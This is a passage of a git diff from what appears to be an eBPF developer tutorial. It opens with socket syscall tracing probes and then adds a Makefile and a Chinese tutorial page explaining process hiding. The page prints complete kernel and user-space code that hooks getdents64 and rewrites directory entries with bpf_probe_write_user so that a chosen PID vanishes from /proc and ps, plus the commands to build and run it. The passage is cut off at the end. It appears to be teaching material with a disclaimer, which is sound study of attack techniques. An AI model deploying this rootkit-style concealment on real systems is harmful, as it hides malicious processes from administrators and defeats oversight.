hook. + struct accept_args_t accept_args = {}; + accept_args.addr = (struct sockaddr_in *)addr; + active_accept_args_map.update(&id, &accept_args); + + return 0; +} + +// Hooking the exit of accept4 +int syscall__probe_ret_accept4(struct pt_regs* ctx) { + uint64_t id = bpf_get_current_pid_tgid(); + + // Pulling the addr from the map. + struct accept_args_t* accept_args = active_accept_args_map.lookup(&id); + // If the id exist in the map, we will get a non empty pointer that holds + // the input address argument from the entry of the syscall. + if (accept_args != NULL) { + process_syscall_accept(ctx, id, accept_args); + } + + // Anyway, in the end clean the map. + active_accept_args_map.delete(&id); + return 0; +} + +// original signature: ssize_t write(int fd, const void *buf, size_t count); +int syscall__probe_entry_write(struct pt_regs* ctx, int fd, char* buf, size_t count) { + uint64_t id = bpf_get_current_pid_tgid(); + + struct data_args_t write_args = {}; + write_args.fd = fd; + write_args.buf = buf; + active_write_args_map.update(&id, &write_args); + + return 0; +} + +int syscall__probe_ret_write(struct pt_regs* ctx) { + uint64_t id = bpf_get_current_pid_tgid(); + ssize_t bytes_count = PT_REGS_RC(ctx); // Also stands for return code. + + // Unstash arguments, and process syscall. + struct data_args_t* write_args = active_write_args_map.lookup(&id); + if (write_args != NULL) { + process_data(ctx, id, kEgress, write_args, bytes_count); + } + + active_write_args_map.delete(&id); + return 0; +} + +// original signature: ssize_t read(int fd, void *buf, size_t count); +int syscall__probe_entry_read(struct pt_regs* ctx, int fd, char* buf, size_t count) { + uint64_t id = bpf_get_current_pid_tgid(); + + // Stash arguments. + struct data_args_t read_args = {}; + read_args.fd = fd; + read_args.buf = buf; + active_read_args_map.update(&id, &read_args); + + return 0; +} + +int syscall__probe_ret_read(struct pt_regs* ctx) { + uint64_t id = bpf_get_current_pid_tgid(); + + // The return code the syscall is the number of bytes read as well. + ssize_t bytes_count = PT_REGS_RC(ctx); + struct data_args_t* read_args = active_read_args_map.lookup(&id); + if (read_args != NULL) { + // kIngress is an enum value that let's the process_data function + // to know whether the input buffer is incoming or outgoing. + process_data(ctx, id, kIngress, read_args, bytes_count); + } + + active_read_args_map.delete(&id); + return 0; +} + +// original signature: int close(int fd) +int syscall__probe_entry_close(struct pt_regs* ctx, int fd) { + uint64_t id = bpf_get_current_pid_tgid(); + struct close_args_t close_args; + close_args.fd = fd; + active_close_args_map.update(&id, &close_args); + + return 0; +} + +int syscall__probe_ret_close(struct pt_regs* ctx) { + uint64_t id = bpf_get_current_pid_tgid(); + const struct close_args_t* close_args = active_close_args_map.lookup(&id); + if (close_args != NULL) { + process_syscall_close(ctx, id, close_args); + } + + active_close_args_map.delete(&id); + return 0; +} diff --git a/24-hide/.gitignore b/24-hide/.gitignore new file mode 100644 index 0000000..1841117 --- /dev/null +++ b/24-hide/.gitignore @@ -0,0 +1,10 @@ +.vscode +package.json +*.o +*.skel.json +*.skel.yaml +package.yaml +ecli +bootstrap +pidhide + diff --git a/24-hide/LICENSE b/24-hide/LICENSE new file mode 100644 index 0000000..47fc3a4 --- /dev/null +++ b/24-hide/LICENSE @@ -0,0 +1,29 @@ +BSD 3-Clause License + +Copyright (c) 2020, Andrii Nakryiko +All rights reserved. + +Redistribution and use in source and binary forms, with or without +modification, are permitted provided that the following conditions are met: + +1. Redistributions of source code must retain the above copyright notice, this + list of conditions and the following disclaimer. + +2. Redistributions in binary form must reproduce the above copyright notice, + this list of conditions and the following disclaimer in the documentation + and/or other materials provided with the distribution. + +3. Neither the name of the copyright holder nor the names of its + contributors may be used to endorse or promote products derived from + this software without specific prior written permission. + +THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" +AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE +IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE +DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE +FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL +DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR +SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER +CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, +OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE +OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. diff --git a/24-hide/Makefile b/24-hide/Makefile new file mode 100644 index 0000000..7a64112 --- /dev/null +++ b/24-hide/Makefile @@ -0,0 +1,141 @@ +# SPDX-License-Identifier: (LGPL-2.1 OR BSD-2-Clause) +OUTPUT := .output +CLANG ?= clang +LIBBPF_SRC := $(abspath ../../libbpf/src) +BPFTOOL_SRC := $(abspath ../../bpftool/src) +LIBBPF_OBJ := $(abspath $(OUTPUT)/libbpf.a) +BPFTOOL_OUTPUT ?= $(abspath $(OUTPUT)/bpftool) +BPFTOOL ?= $(BPFTOOL_OUTPUT)/bootstrap/bpftool +LIBBLAZESYM_SRC := $(abspath ../../blazesym/) +LIBBLAZESYM_OBJ := $(abspath $(OUTPUT)/libblazesym.a) +LIBBLAZESYM_HEADER := $(abspath $(OUTPUT)/blazesym.h) +ARCH ?= $(shell uname -m | sed 's/x86_64/x86/' \ + | sed 's/arm.*/arm/' \ + | sed 's/aarch64/arm64/' \ + | sed 's/ppc64le/powerpc/' \ + | sed 's/mips.*/mips/' \ + | sed 's/riscv64/riscv/' \ + | sed 's/loongarch64/loongarch/') +VMLINUX := ../../vmlinux/$(ARCH)/vmlinux.h +# Use our own libbpf API headers and Linux UAPI headers distributed with +# libbpf to avoid dependency on system-wide headers, which could be missing or +# outdated +INCLUDES := -I$(OUTPUT) -I../../libbpf/include/uapi -I$(dir $(VMLINUX)) +CFLAGS := -g -Wall +ALL_LDFLAGS := $(LDFLAGS) $(EXTRA_LDFLAGS) + +APPS = pidhide # minimal minimal_legacy uprobe kprobe fentry usdt sockfilter tc ksyscall + +CARGO ?= $(shell which cargo) +ifeq ($(strip $(CARGO)),) +BZS_APPS := +else +BZS_APPS := # profile +APPS += $(BZS_APPS) +# Required by libblazesym +ALL_LDFLAGS += -lrt -ldl -lpthread -lm +endif + +# Get Clang's default includes on this system. We'll explicitly add these dirs +# to the includes list when compiling with `-target bpf` because otherwise some +# architecture-specific dirs will be "missing" on some architectures/distros - +# headers such as asm/types.h, asm/byteorder.h, asm/socket.h, asm/sockios.h, +# sys/cdefs.h etc. might be missing. +# +# Use '-idirafter': Don't interfere with include mechanics except where the +# build would have failed anyways. +CLANG_BPF_SYS_INCLUDES ?= $(shell $(CLANG) -v -E - &1 \ + | sed -n '/<...> search starts here:/,/End of search list./{ s| \(/.*\)|-idirafter \1|p }') + +ifeq ($(V),1) + Q = + msg = +else + Q = @ + msg = @printf ' %-8s %s%s\n' \ + "$(1)" \ + "$(patsubst $(abspath $(OUTPUT))/%,%,$(2))" \ + "$(if $(3), $(3))"; + MAKEFLAGS += --no-print-directory +endif + +define allow-override + $(if $(or $(findstring environment,$(origin $(1))),\ + $(findstring command line,$(origin $(1)))),,\ + $(eval $(1) = $(2))) +endef + +$(call allow-override,CC,$(CROSS_COMPILE)cc) +$(call allow-override,LD,$(CROSS_COMPILE)ld) + +.PHONY: all +all: $(APPS) + +.PHONY: clean +clean: + $(call msg,CLEAN) + $(Q)rm -rf $(OUTPUT) $(APPS) + +$(OUTPUT) $(OUTPUT)/libbpf $(BPFTOOL_OUTPUT): + $(call msg,MKDIR,$@) + $(Q)mkdir -p $@ + +# Build libbpf +$(LIBBPF_OBJ): $(wildcard $(LIBBPF_SRC)/*.[ch] $(LIBBPF_SRC)/Makefile) | $(OUTPUT)/libbpf + $(call msg,LIB,$@) + $(Q)$(MAKE) -C $(LIBBPF_SRC) BUILD_STATIC_ONLY=1 \ + OBJDIR=$(dir $@)/libbpf DESTDIR=$(dir $@) \ + INCLUDEDIR= LIBDIR= UAPIDIR= \ + install + +# Build bpftool +$(BPFTOOL): | $(BPFTOOL_OUTPUT) + $(call msg,BPFTOOL,$@) + $(Q)$(MAKE) ARCH= CROSS_COMPILE= OUTPUT=$(BPFTOOL_OUTPUT)/ -C $(BPFTOOL_SRC) bootstrap + + +$(LIBBLAZESYM_SRC)/target/release/libblazesym.a:: + $(Q)cd $(LIBBLAZESYM_SRC) && $(CARGO) build --features=cheader,dont-generate-test-files --release + +$(LIBBLAZESYM_OBJ): $(LIBBLAZESYM_SRC)/target/release/libblazesym.a | $(OUTPUT) + $(call msg,LIB, $@) + $(Q)cp $(LIBBLAZESYM_SRC)/target/release/libblazesym.a $@ + +$(LIBBLAZESYM_HEADER): $(LIBBLAZESYM_SRC)/target/release/libblazesym.a | $(OUTPUT) + $(call msg,LIB,$@) + $(Q)cp $(LIBBLAZESYM_SRC)/target/release/blazesym.h $@ + +# Build BPF code +$(OUTPUT)/%.bpf.o: %.bpf.c $(LIBBPF_OBJ) $(wildcard %.h) $(VMLINUX) | $(OUTPUT) $(BPFTOOL) + $(call msg,BPF,$@) + $(Q)$(CLANG) -g -O2 -target bpf -D__TARGET_ARCH_$(ARCH) \ + $(INCLUDES) $(CLANG_BPF_SYS_INCLUDES) \ + -c $(filter %.c,$^) -o $(patsubst %.bpf.o,%.tmp.bpf.o,$@) + $(Q)$(BPFTOOL) gen object $@ $(patsubst %.bpf.o,%.tmp.bpf.o,$@) + +# Generate BPF skeletons +$(OUTPUT)/%.skel.h: $(OUTPUT)/%.bpf.o | $(OUTPUT) $(BPFTOOL) + $(call msg,GEN-SKEL,$@) + $(Q)$(BPFTOOL) gen skeleton $< > $@ + +# Build user-space code +$(patsubst %,$(OUTPUT)/%.o,$(APPS)): %.o: %.skel.h + +$(OUTPUT)/%.o: %.c $(wildcard %.h) | $(OUTPUT) + $(call msg,CC,$@) + $(Q)$(CC) $(CFLAGS) $(INCLUDES) -c $(filter %.c,$^) -o $@ + +$(patsubst %,$(OUTPUT)/%.o,$(BZS_APPS)): $(LIBBLAZESYM_HEADER) + +$(BZS_APPS): $(LIBBLAZESYM_OBJ) + +# Build application binary +$(APPS): %: $(OUTPUT)/%.o $(LIBBPF_OBJ) | $(OUTPUT) + $(call msg,BINARY,$@) + $(Q)$(CC) $(CFLAGS) $^ $(ALL_LDFLAGS) -lelf -lz -o $@ + +# delete failed targets +.DELETE_ON_ERROR: + +# keep intermediate (.skel.h, .bpf.o, etc) targets +.SECONDARY: diff --git a/24-hide/common.h b/24-hide/common.h new file mode 100644 index 0000000..ac4be7f --- /dev/null +++ b/24-hide/common.h @@ -0,0 +1,14 @@ +// SPDX-License-Identifier: BSD-3-Clause +#ifndef BAD_BPF_COMMON_H +#define BAD_BPF_COMMON_H + +// Simple message structure to get events from eBPF Programs +// in the kernel to user spcae +#define TASK_COMM_LEN 16 +struct event { + int pid; + char comm[TASK_COMM_LEN]; + bool success; +}; + +#endif // BAD_BPF_COMMON_H diff --git a/24-hide/index.html b/24-hide/index.html new file mode 100644 index 0000000..e9d9667 --- /dev/null +++ b/24-hide/index.html @@ -0,0 +1,560 @@ + + + + + + 使用 eBPF 隐藏进程或文件信息 - bpf-developer-tutorial + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    + + + + + + + + + + + + + + +
    + +
    + + + + + + + + +
    +
    +

    eBPF 开发实践:使用 eBPF 隐藏进程或文件信息

    +

    eBPF(扩展的伯克利数据包过滤器)是 Linux 内核中的一个强大功能,可以在无需更改内核源代码或重启内核的情况下,运行、加载和更新用户定义的代码。这种功能让 eBPF 在网络和系统性能分析、数据包过滤、安全策略等方面有了广泛的应用。

    +

    在本篇教程中,我们将展示如何利用 eBPF 来隐藏进程或文件信息,这是网络安全和防御领域中一种常见的技术。

    +

    背景知识与实现机制

    +

    "进程隐藏" 能让特定的进程对操作系统的常规检测机制变得不可见。在黑客攻击或系统防御的场景中,这种技术都可能被应用。具体来说,Linux 系统中每个进程都在 /proc/ 目录下有一个以其进程 ID 命名的子文件夹,包含了该进程的各种信息。ps 命令就是通过查找这些文件夹来显示进程信息的。因此,如果我们能隐藏某个进程的 /proc/ 文件夹,就能让这个进程对 ps 命令等检测手段“隐身”。

    +

    要实现进程隐藏,关键在于操作 /proc/ 目录。在 Linux 中,getdents64 系统调用可以读取目录下的文件信息。我们可以通过挂接这个系统调用,修改它返回的结果,从而达到隐藏文件的目的。实现这个功能需要使用到 eBPF 的 bpf_probe_write_user 功能,它可以修改用户空间的内存,因此能用来修改 getdents64 返回的结果。

    +

    下面,我们会详细介绍如何在内核态和用户态编写 eBPF 程序来实现进程隐藏。

    +

    内核态 eBPF 程序实现

    +

    接下来,我们将详细介绍如何在内核态编写 eBPF 程序来实现进程隐藏。首先是 eBPF 程序的起始部分:

    +
    // SPDX-License-Identifier: BSD-3-Clause
    +#include "vmlinux.h"
    +#include <bpf/bpf_helpers.h>
    +#include <bpf/bpf_tracing.h>
    +#include <bpf/bpf_core_read.h>
    +#include "common.h"
    +
    +char LICENSE[] SEC("license") = "Dual BSD/GPL";
    +
    +// Ringbuffer Map to pass messages from kernel to user
    +struct {
    +    __uint(type, BPF_MAP_TYPE_RINGBUF);
    +    __uint(max_entries, 256 * 1024);
    +} rb SEC(".maps");
    +
    +// Map to fold the dents buffer addresses
    +struct {
    +    __uint(type, BPF_MAP_TYPE_HASH);
    +    __uint(max_entries, 8192);
    +    __type(key, size_t);
    +    __type(value, long unsigned int);
    +} map_buffs SEC(".maps");
    +
    +// Map used to enable searching through the
    +// data in a loop
    +struct {
    +    __uint(type, BPF_MAP_TYPE_HASH);
    +    __uint(max_entries, 8192);
    +    __type(key, size_t);
    +    __type(value, int);
    +} map_bytes_read SEC(".maps");
    +
    +// Map with address of actual
    +struct {
    +    __uint(type, BPF_MAP_TYPE_HASH);
    +    __uint(max_entries, 8192);
    +    __type(key, size_t);
    +    __type(value, long unsigned int);
    +} map_to_patch SEC(".maps");
    +
    +// Map to hold program tail calls
    +struct {
    +    __uint(type, BPF_MAP_TYPE_PROG_ARRAY);
    +    __uint(max_entries, 5);
    +    __type(key, __u32);
    +    __type(value, __u32);
    +} map_prog_array SEC(".maps");
    +
    +

    我们首先需要理解这个 eBPF 程序的基本构成和使用到的几个重要组件。前几行引用了几个重要的头文件,如 "vmlinux.h"、"bpf_helpers.h"、"bpf_tracing.h" 和 "bpf_core_read.h"。这些文件提供了 eBPF 编程所需的基础设施和一些重要的函数或宏。

    +
      +
    • "vmlinux.h" 是一个包含了完整的内核数据结构的头文件,是从 vmlinux 内核二进制中提取的。使用这个头文件,eBPF 程序可以访问内核的数据结构。
    • +
    • "bpf_helpers.h" 头文件中定义了一系列的宏,这些宏是 eBPF 程序使用的 BPF 助手(helper)函数的封装。这些 BPF 助手函数是 eBPF 程序和内核交互的主要方式。
    • +
    • "bpf_tracing.h" 是用于跟踪事件的头文件,它包含了许多宏和函数,这些都是为了简化 eBPF 程序对跟踪点(tracepoint)的操作。
    • +
    • "bpf_core_read.h" 头文件提供了一组用于从内核读取数据的宏和函数。
    • +
    +

    程序中定义了一系列的 map 结构,这些 map 是 eBPF 程序中的主要数据结构,它们用于在内核态和用户态之间共享数据,或者在 eBPF 程序中存储和传递数据。

    +

    其中,"rb" 是一个 Ringbuffer 类型的 map,它用于从内核向用户态传递消息。Ringbuffer 是一种能在内核和用户态之间高效传递大量数据的数据结构。

    +

    "map_buffs" 是一个 Hash 类型的 map,它用于存储目录项(dentry)的缓冲区地址。

    +

    "map_bytes_read" 是另一个 Hash 类型的 map,它用于在数据循环中启用搜索。

    +

    "map_to_patch" 是另一个 Hash 类型的 map,存储了需要被修改的目录项(dentry)的地址。

    +

    "map_prog_array" 是一个 Prog Array 类型的 map,它用于保存程序的尾部调用。

    +

    程序中的 "target_ppid" 和 "pid_to_hide_len"、"pid_to_hide" 是几个重要的全局变量,它们分别存储了目标父进程的 PID、需要隐藏的 PID 的长度以及需要隐藏的 PID。

    +

    接下来的代码部分,程序定义了一个名为 "linux_dirent64" 的结构体,这个结构体代表一个 Linux 目录项。然后程序定义了两个函数,"handle_getdents_enter" 和 "handle_getdents_exit",这两个函数分别在 getdents64 系统调用的入口和出口被调用,用于实现对目录项的操作。

    +
    
    +// Optional Target Parent PID
    +const volatile int target_ppid = 0;
    +
    +// These store the string represenation
    +// of the PID to hide. This becomes the name
    +// of the folder in /proc/
    +const volatile int pid_to_hide_len = 0;
    +const volatile char pid_to_hide[max_pid_len];
    +
    +// struct linux_dirent64 {
    +//     u64        d_ino;    /* 64-bit inode number */
    +//     u64        d_off;    /* 64-bit offset to next structure */
    +//     unsigned short d_reclen; /* Size of this dirent */
    +//     unsigned char  d_type;   /* File type */
    +//     char           d_name[]; /* Filename (null-terminated) */ }; 
    +// int getdents64(unsigned int fd, struct linux_dirent64 *dirp, unsigned int count);
    +SEC("tp/syscalls/sys_enter_getdents64")
    +int handle_getdents_enter(struct trace_event_raw_sys_enter *ctx)
    +{
    +    size_t pid_tgid = bpf_get_current_pid_tgid();
    +    // Check if we're a process thread of interest
    +    // if target_ppid is 0 then we target all pids
    +    if (target_ppid != 0) {
    +        struct task_struct *task = (struct task_struct *)bpf_get_current_task();
    +        int ppid = BPF_CORE_READ(task, real_parent, tgid);
    +        if (ppid != target_ppid) {
    +            return 0;
    +        }
    +    }
    +    int pid = pid_tgid >> 32;
    +    unsigned int fd = ctx->args[0];
    +    unsigned int buff_count = ctx->args[2];
    +
    +    // Store params in map for exit function
    +    struct linux_dirent64 *dirp = (struct linux_dirent64 *)ctx->args[1];
    +    bpf_map_update_elem(&map_buffs, &pid_tgid, &dirp, BPF_ANY);
    +
    +    return 0;
    +}
    +
    +

    在这部分代码中,我们可以看到 eBPF 程序的一部分具体实现,该程序负责在 getdents64 系统调用的入口处进行处理。

    +

    我们首先声明了几个全局的变量。其中 target_ppid 代表我们要关注的目标父进程的 PID。如果这个值为 0,那么我们将关注所有的进程。pid_to_hide_lenpid_to_hide 则分别用来存储我们要隐藏的进程的 PID 的长度和 PID 本身。这个 PID 会转化成 /proc/ 目录下的一个文件夹的名称,因此被隐藏的进程在 /proc/ 目录下将无法被看到。

    +

    接下来,我们声明了一个名为 linux_dirent64 的结构体。这个结构体代表一个 Linux 目录项,包含了一些元数据,如 inode 号、下一个目录项的偏移、当前目录项的长度、文件类型以及文件名。

    +

    然后是 getdents64 函数的原型。这个函数是 Linux 系统调用,用于读取一个目录的内容。我们的目标就是在这个函数执行的过程中,对目录项进行修改,以实现进程隐藏。

    +

    随后的部分是 eBPF 程序的具体实现。我们在 getdents64 系统调用的入口处定义了一个名为 handle_getdents_enter 的函数。这个函数首先获取了当前进程的 PID 和线程组 ID,然后检查这个进程是否是我们关注的进程。如果我们设置了 target_ppid,那么我们就只关注那些父进程的 PID 为 target_ppid 的进程。如果 target_ppid 为 0,我们就关注所有进程。

    +

    在确认了当前进程是我们关注的进程之后,我们将 getdents64 系统调用的参数保存到一个 map 中,以便在系统调用返回时使用。我们特别关注 getdents64 系统调用的第二个参数,它是一个指向 linux_dirent64 结构体的指针,代表了系统调用要读取的目录的内容。我们将这个指针以及当前的 PID 和线程组 ID 作为键值对保存到 map_buffs 这个 map 中。

    +

    至此,我们完成了 getdents64 系统调用入口处的处理。在系统调用返回时,我们将会在 handle_getdents_exit 函数中,对目录项进行修改,以实现进程隐藏。

    +

    在接下来的代码段中,我们将要实现在 getdents64 系统调用返回时的处理。我们主要的目标就是找到我们想要隐藏的进程,并且对目录项进行修改以实现隐藏。

    +

    我们首先定义了一个名为 handle_getdents_exit 的函数,它将在 getdents64 系统调用返回时被调用。

    +
    
    +SEC("tp/syscalls/sys_exit_getdents64")
    +int handle_getdents_exit(struct trace_event_raw_sys_exit *ctx)
    +{
    +    size_t pid_tgid = bpf_get_current_pid_tgid();
    +    int total_bytes_read = ctx->ret;
    +    // if bytes_read is 0, everything's been read
    +    if (total_bytes_read <= 0) {
    +        return 0;
    +    }
    +
    +    // Check we stored the address of the buffer from the syscall entry
    +    long unsigned int* pbuff_addr = bpf_map_lookup_elem(&map_buffs, &pid_tgid);
    +    if (pbuff_addr == 0) {
    +        return 0;
    +    }
    +
    +    // All of this is quite complex, but basically boils down to
    +    // Calling 'handle_getdents_exit' in a loop to iterate over the file listing
    +    // in chunks of 200, and seeing if a folder with the name of our pid is in there.
    +    // If we find it, use 'bpf_tail_call' to jump to handle_getdents_patch to do the actual
    +    // patching
    +    long unsigned int buff_addr = *pbuff_addr;
    +    struct linux_dirent64 *dirp = 0;
    +    int pid = pid_tgid >> 32;
    +    short unsigned int d_reclen = 0;
    +    char filename[max_pid_len];
    +
    +    unsigned int bpos = 0;
    +    unsigned int *pBPOS = bpf_map_lookup_elem(&map_bytes_read, &pid_tgid);
    +    if (pBPOS != 0) {
    +        bpos = *pBPOS;
    +    }
    +
    +    for (int i = 0; i < 200; i ++) {
    +        if (bpos >= total_bytes_read) {
    +            break;
    +        }
    +        dirp = (struct linux_dirent64 *)(buff_addr+bpos);
    +        bpf_probe_read_user(&d_reclen, sizeof(d_reclen), &dirp->d_reclen);
    +        bpf_probe_read_user_str(&filename, pid_to_hide_len, dirp->d_name);
    +
    +        int j = 0;
    +        for (j = 0; j < pid_to_hide_len; j++) {
    +            if (filename[j] != pid_to_hide[j]) {
    +                break;
    +            }
    +        }
    +        if (j == pid_to_hide_len) {
    +            // ***********
    +            // We've found the folder!!!
    +            // Jump to handle_getdents_patch so we can remove it!
    +            // ***********
    +            bpf_map_delete_elem(&map_bytes_read, &pid_tgid);
    +            bpf_map_delete_elem(&map_buffs, &pid_tgid);
    +            bpf_tail_call(ctx, &map_prog_array, PROG_02);
    +        }
    +        bpf_map_update_elem(&map_to_patch, &pid_tgid, &dirp, BPF_ANY);
    +        bpos += d_reclen;
    +    }
    +
    +    // If we didn't find it, but there's still more to read,
    +    // jump back the start of this function and keep looking
    +    if (bpos < total_bytes_read) {
    +        bpf_map_update_elem(&map_bytes_read, &pid_tgid, &bpos, BPF_ANY);
    +        bpf_tail_call(ctx, &map_prog_array, PROG_01);
    +    }
    +    bpf_map_delete_elem(&map_bytes_read, &pid_tgid);
    +    bpf_map_delete_elem(&map_buffs, &pid_tgid);
    +
    +    return 0;
    +}
    +
    +
    +

    在这个函数中,我们首先获取了当前进程的 PID 和线程组 ID,然后检查系统调用是否读取到了目录的内容。如果没有读取到内容,我们就直接返回。

    +

    然后我们从 map_buffs 这个 map 中获取 getdents64 系统调用入口处保存的目录内容的地址。如果我们没有保存过这个地址,那么就没有必要进行进一步的处理。

    +

    接下来的部分有点复杂,我们用了一个循环来迭代读取目录的内容,并且检查是否有我们想要隐藏的进程的 PID。如果我们找到了,我们就用 bpf_tail_call 函数跳转到 handle_getdents_patch 函数,进行实际的隐藏操作。

    +
    SEC("tp/syscalls/sys_exit_getdents64")
    +int handle_getdents_patch(struct trace_event_raw_sys_exit *ctx)
    +{
    +    // Only patch if we've already checked and found our pid's folder to hide
    +    size_t pid_tgid = bpf_get_current_pid_tgid();
    +    long unsigned int* pbuff_addr = bpf_map_lookup_elem(&map_to_patch, &pid_tgid);
    +    if (pbuff_addr == 0) {
    +        return 0;
    +    }
    +
    +    // Unlink target, by reading in previous linux_dirent64 struct,
    +    // and setting it's d_reclen to cover itself and our target.
    +    // This will make the program skip over our folder.
    +    long unsigned int buff_addr = *pbuff_addr;
    +    struct linux_dirent64 *dirp_previous = (struct linux_dirent64 *)buff_addr;
    +    short unsigned int d_reclen_previous = 0;
    +    bpf_probe_read_user(&d_reclen_previous, sizeof(d_reclen_previous), &dirp_previous->d_reclen);
    +
    +    struct linux_dirent64 *dirp = (struct linux_dirent64 *)(buff_addr+d_reclen_previous);
    +    short unsigned int d_reclen = 0;
    +    bpf_probe_read_user(&d_reclen, sizeof(d_reclen), &dirp->d_reclen);
    +
    +    // Debug print
    +    char filename[max_pid_len];
    +    bpf_probe_read_user_str(&filename, pid_to_hide_len, dirp_previous->d_name);
    +    filename[pid_to_hide_len-1] = 0x00;
    +    bpf_printk("[PID_HIDE] filename previous %s\n", filename);
    +    bpf_probe_read_user_str(&filename, pid_to_hide_len, dirp->d_name);
    +    filename[pid_to_hide_len-1] = 0x00;
    +    bpf_printk("[PID_HIDE] filename next one %s\n", filename);
    +
    +    // Attempt to overwrite
    +    short unsigned int d_reclen_new = d_reclen_previous + d_reclen;
    +    long ret = bpf_probe_write_user(&dirp_previous->d_reclen, &d_reclen_new, sizeof(d_reclen_new));
    +
    +    // Send an event
    +    struct event *e;
    +    e = bpf_ringbuf_reserve(&rb, sizeof(*e), 0);
    +    if (e) {
    +        e->success = (ret == 0);
    +        e->pid = (pid_tgid >> 32);
    +        bpf_get_current_comm(&e->comm, sizeof(e->comm));
    +        bpf_ringbuf_submit(e, 0);
    +    }
    +
    +    bpf_map_delete_elem(&map_to_patch, &pid_tgid);
    +    return 0;
    +}
    +
    +
    +

    handle_getdents_patch 函数中,我们首先检查我们是否已经找到了我们想要隐藏的进程的 PID。然后我们读取目录项的内容,并且修改 d_reclen 字段,让它覆盖下一个目录项,这样就可以隐藏我们的目标进程了。

    +

    在这个过程中,我们用到了 bpf_probe_read_userbpf_probe_read_user_strbpf_probe_write_user 这几个函数来读取和写入用户空间的数据。这是因为在内核空间,我们不能直接访问用户空间的数据,必须使用这些特殊的函数。

    +

    在我们完成隐藏操作后,我们会向一个名为 rb 的环形缓冲区发送一个事件,表示我们已经成功地隐藏了一个进程。我们用 bpf_ringbuf_reserve 函数来预留缓冲区空间,然后将事件的数据填充到这个空间,并最后用 bpf_ringbuf_submit 函数将事件提交到缓冲区。

    +

    最后,我们清理了之前保存在 map 中的数据,并返回。

    +

    这段代码是在 eBPF 环境下实现进程隐藏的一个很好的例子。通过这个例子,我们可以看到 eBPF 提供的丰富的功能,如系统调用跟踪、map 存储、用户空间数据访问、尾调用等。这些功能使得我们能够在内核空间实现复杂的逻辑,而不需要修改内核代码。

    +

    用户态 eBPF 程序实现

    +

    我们在用户态的 eBPF 程序中主要进行了以下几个操作:

    +
      +
    1. 打开 eBPF 程序。
    2. +
    3. 设置我们想要隐藏的进程的 PID。
    4. +
    5. 验证并加载 eBPF 程序。
    6. +
    7. 等待并处理由 eBPF 程序发送的事件。
    8. +
    +

    首先,我们打开了 eBPF 程序。这个过程是通过调用 pidhide_bpf__open 函数实现的。如果这个过程失败了,我们就直接返回。

    +
        skel = pidhide_bpf__open();
    +    if (!skel)
    +    {
    +        fprintf(stderr, "Failed to open BPF program: %s\n", strerror(errno));
    +        return 1;
    +    }
    +
    +

    接下来,我们设置了我们想要隐藏的进程的 PID。这个过程是通过将 PID 保存到 eBPF 程序的 rodata 区域实现的。默认情况下,我们隐藏的是当前进程。

    +
        char pid_to_hide[10];
    +    if (env.pid_to_hide == 0)
    +    {
    +        env.pid_to_hide = getpid();
    +    }
    +    sprintf(pid_to_hide, "%d", env.pid_to_hide);
    +    strncpy(skel->rodata->pid_to_hide, pid_to_hide, sizeof(skel->rodata->pid_to_hide));
    +    skel->rodata->pid_to_hide_len = strlen(pid_to_hide) + 1;
    +    skel->rodata->target_ppid = env.target_ppid;
    +
    +

    然后,我们验证并加载 eBPF 程序。这个过程是通过调用 pidhide_bpf__load 函数实现的。如果这个过程失败了,我们就进行清理操作。

    +
        err = pidhide_bpf__load(skel);
    +    if (err)
    +    {
    +        fprintf(stderr, "Failed to load and verify BPF skeleton\n");
    +        goto cleanup;
    +    }
    +
    +

    最后,我们等待并处理由 eBPF 程序发送的事件。这个过程是通过调用 ring_buffer__poll 函数实现的。在这个过程中,我们每隔一段时间就检查一次环形缓冲区中是否有新的事件。如果有,我们就调用 handle_event 函数来处理这个事件。

    +
    printf("Successfully started!\n");
    +printf("Hiding PID %d\n", env.pid_to_hide);
    +while (!exiting)
    +{
    +    err = ring_buffer__poll(rb, 100 /* timeout, ms */);
    +    /* Ctrl-C will cause -EINTR */
    +    if (err == -EINTR)
    +    {
    +        err = 0;
    +        break;
    +    }
    +    if (err < 0)
    +    {
    +        printf("Error polling perf buffer: %d\n", err);
    +        break;
    +    }
    +}
    +
    +

    handle_event 函数中,我们根据事件的内容打印了相应的消息。这个函数的参数包括一个上下文,事件的数据,以及数据的大小。我们首先将事件的数据转换为 event 结构体,然后根据 success 字段判断这个事件是否表示成功隐藏了一个进程,最后打

    +

    印相应的消息。

    +
    static int handle_event(void *ctx, void *data, size_t data_sz)
    +{
    +    const struct event *e = data;
    +    if (e->success)
    +        printf("Hid PID from program %d (%s)\n", e->pid, e->comm);
    +    else
    +        printf("Failed to hide PID from program %d (%s)\n", e->pid, e->comm);
    +    return 0;
    +}
    +
    +

    这段代码展示了如何在用户态使用 eBPF 程序来实现进程隐藏的功能。我们首先打开 eBPF 程序,然后设置我们想要隐藏的进程的 PID,再验证并加载 eBPF 程序,最后等待并处理由 eBPF 程序发送的事件。这个过程中,我们使用了 eBPF 提供的一些高级功能,如环形缓冲区和事件处理,这些功能使得我们能够在用户态方便地与内核态的 eBPF 程序进行交互。

    +

    完整源代码:https://github.com/eunomia-bpf/bpf-developer-tutorial/tree/main/src/24-hide

    +
    +

    本文所示技术仅为概念验证,仅供学习使用,严禁用于不符合法律法规要求的场景。

    +
    +

    编译运行,隐藏 PID

    +

    首先,我们需要编译 eBPF 程序:

    +
    make
    +
    +

    然后,假设我们想要隐藏进程 ID 为 1534 的进程,可以运行如下命令:

    +
    sudo ./pidhide --pid-to-hide 1534
    +
    +

    这条命令将使所有尝试读取 /proc/ 目录的操作都无法看到 PID 为 1534 的进程。例如,我们可以选择一个进程进行隐藏:

    +
    $ ps -aux | grep 1534
